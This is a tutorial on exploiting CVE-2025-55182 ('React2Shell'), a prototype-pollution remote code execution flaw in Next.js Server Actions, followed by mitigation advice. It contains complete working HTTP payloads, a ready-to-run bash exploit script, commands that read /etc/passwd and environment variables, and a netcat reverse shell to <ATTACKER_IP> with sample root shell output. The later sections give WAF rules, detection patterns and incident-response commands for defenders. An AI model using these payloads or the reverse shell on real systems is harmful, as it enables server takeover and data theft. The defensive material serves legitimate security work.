
CVE-2025-55182, also known as React2Shell, is a critical vulnerability affecting Next.js applications using React Server Components (RSC) and Server Actions.
⚠️ Disclaimer: This documentation is provided for educational and security research purposes only. Any unauthorized use of these techniques against systems you do not own or have explicit permission to test is illegal.
CVE-2025-55182, also known as React2Shell, is a critical vulnerability affecting Next.js applications that use:
An attacker can achieve Remote Code Execution (RCE) on the server by exploiting:
__proto__ and constructorConsequence: Arbitrary system commands can be executed with the privileges of the Node.js process.
Next.js uses a proprietary multipart/form-data protocol to communicate between client and server:
Client (Browser)
↓
[multipart/form-data RSC payload]
↓
Next.js Server
↓
Deserialization + Execution
↓
Response
The vulnerability exists because:
__proto__, constructor)An attacker can craft a payload that modifies internal object properties:
{
"then": "$1:__proto__:then", // Targets the prototype chain
"_response": {
"_prefix": "malicious code here" // Code injection
}
}
By exploiting __proto__, the attacker pollutes the prototype of JavaScript objects, affecting all objects that inherit from it.
Inside the _prefix field, the attacker injects JavaScript code that:
process.mainModule.require()child_process moduleexecSync()var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
The command result is hidden in the error response:
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js returns this error to the client, and the command output is visible in the digest field.
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Install Node.js 20
nvm install 20
nvm use 20
# Install dependencies
cd test-server
npm install
npm run dev
The server is now accessible at:
http://localhost:3000
curl http://localhost:3000/
At this stage, the server behaves normally.
http://localhost:3000/ in your browserA GET request will be intercepted. Send it to the Repeater tab:
Replace the entire request with the following payload:
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Click Send
Create a file exploit.sh:
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
Make it executable:
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
To gain full interactive shell access, use a reverse shell.
ncat -lvnp 9009
Or with netcat:
nc -lvnp 9009
Modify the payload with the following command (replace <ATTACKER_IP> with your IP address):
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
The complete payload becomes:
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin boot dev etc home lib ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
You now have a fully interactive shell on the target server.
Upon successful exploitation:
digest field within the error responseError: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)
npm install next@latest
Ensure you are running a patched version of Next.js. Check the official security advisories.
Add strict validation of incoming RSC payloads:
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
// Reject suspicious payloads
if (request.headers.get('content-type')?.includes('multipart/form-data')) {
const bodyString = request.body?.toString() || '';
// Block payloads containing dangerous patterns
if (bodyString.includes('__proto__') ||
bodyString.includes('constructor') ||
bodyString.includes('child_process')) {
console.error(`[SECURITY] Malicious payload attempt from ${request.ip}`);
return new NextResponse('Forbidden', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: ['/:path*']
};
In next.config.js:
module.exports = {
experimental: {
serverActions: {
enabled: false // Disable if not needed
}
}
};
# Create a dedicated user
useradd -r -s /bin/false nextjs
# Run the service under this user
sudo -u nextjs node server.js
# Or with systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js
Use Docker with restricted capabilities:
FROM node:20-alpine
# Create non-root user
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
USER nextjs
EXPOSE 3000
CMD ["node", "server.js"]
Run the container with restricted capabilities:
docker run \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
-u nextjs:nextjs \
--security-opt=no-new-privileges \
--read-only \
--tmpfs /tmp \
my-nextjs-app
Implement comprehensive logging:
// Custom logging middleware
app.use((req, res, next) => {
// Log all POST requests with Next-Action header
if (req.method === 'POST' && req.headers['next-action']) {
const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
const bodyString = JSON.stringify(req.body);
const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
if (isSuspicious) {
console.error(`[SECURITY_ALERT] Exploit attempt detected from ${req.ip}`);
console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
console.error(`[SECURITY_ALERT] Payload: ${bodyString.substring(0, 500)}`);
// Alert security team
// sendSecurityAlert(`Exploit attempt from ${req.ip}`);
return res.status(403).json({ error: 'Forbidden' });
}
}
next();
});
Configure your WAF to block:
ModSecurity Rules:
# Block __proto__ in request body
SecRule REQUEST_BODY "@contains __proto__" \
"id:1001,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"
# Block constructor in request body
SecRule REQUEST_BODY "@contains constructor" \
"id:1002,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"
# Block child_process module access
SecRule REQUEST_BODY "@contains child_process" \
"id:1003,phase:2,deny,status:403,msg:'Code Execution Attempt'"
# Block execSync function
SecRule REQUEST_BODY "@contains execSync" \
"id:1004,phase:2,deny,status:403,msg:'Code Execution Attempt'"
# Block require() statements
SecRule REQUEST_BODY "@rx require\s*\(" \
"id:1005,phase:2,deny,status:403,msg:'Module Loading Attempt'"
AWS WAF Example:
{
"Name": "BlockRCEAttempts",
"Rules": [
{
"Name": "BlockProtoPolluton",
"Priority": 1,
"Statement": {
"ByteMatchStatement": {
"FieldToMatch": { "Body": {} },
"TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
"PositionalConstraint": "CONTAINS",
"SearchString": "__proto__"
}
},
"Action": { "Block": {} },
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "BlockProtoPolluton"
}
}
]
}
While CSP primarily protects client-side, it's good practice:
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
next();
});
# Scan dependencies for vulnerabilities
npm audit
npm audit fix
# Use snyk for continuous monitoring
snyk monitor
# Regular penetration testing
# Schedule quarterly security assessments
If you suspect exploitation:
# 1. Check logs for suspicious patterns
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/
# 2. Check process history
ps aux | grep node
history | grep -E "(nc|ncat|bash)"
# 3. Check network connections
netstat -tuln
lsof -i -P -n
# 4. Isolate the affected system
sudo iptables -I INPUT -j DROP
# 5. Preserve evidence and logs
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/
# 6. Notify your security team and apply patches
{
// Step 1: Target the prototype chain
"then": "$1:__proto__:then",
// Step 2: Mark as resolved model
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
// Step 3: Inject code through _response
"_response": {
// The injected JavaScript code
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
// Reference to form data
"_chunks": "$Q2",
// Access constructor through form data
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
$1 are resolved to other form fields__proto__ path modifies the object prototype_prefix field is evaluated during error handlingexecSync runs the arbitrary commandCVE-2025-55182 (React2Shell) demonstrates critical risks associated with:
✅ Unsafe deserialization of user-controlled data ✅ Prototype pollution in JavaScript prototype chains ✅ Dynamic code execution without proper validation
This vulnerability reinforces the importance of:
License: Educational use only - Unauthorized access to computer systems is illegal.
For legitimate security research and authorized testing, ensure you have written permission from the system owner before conducting any tests.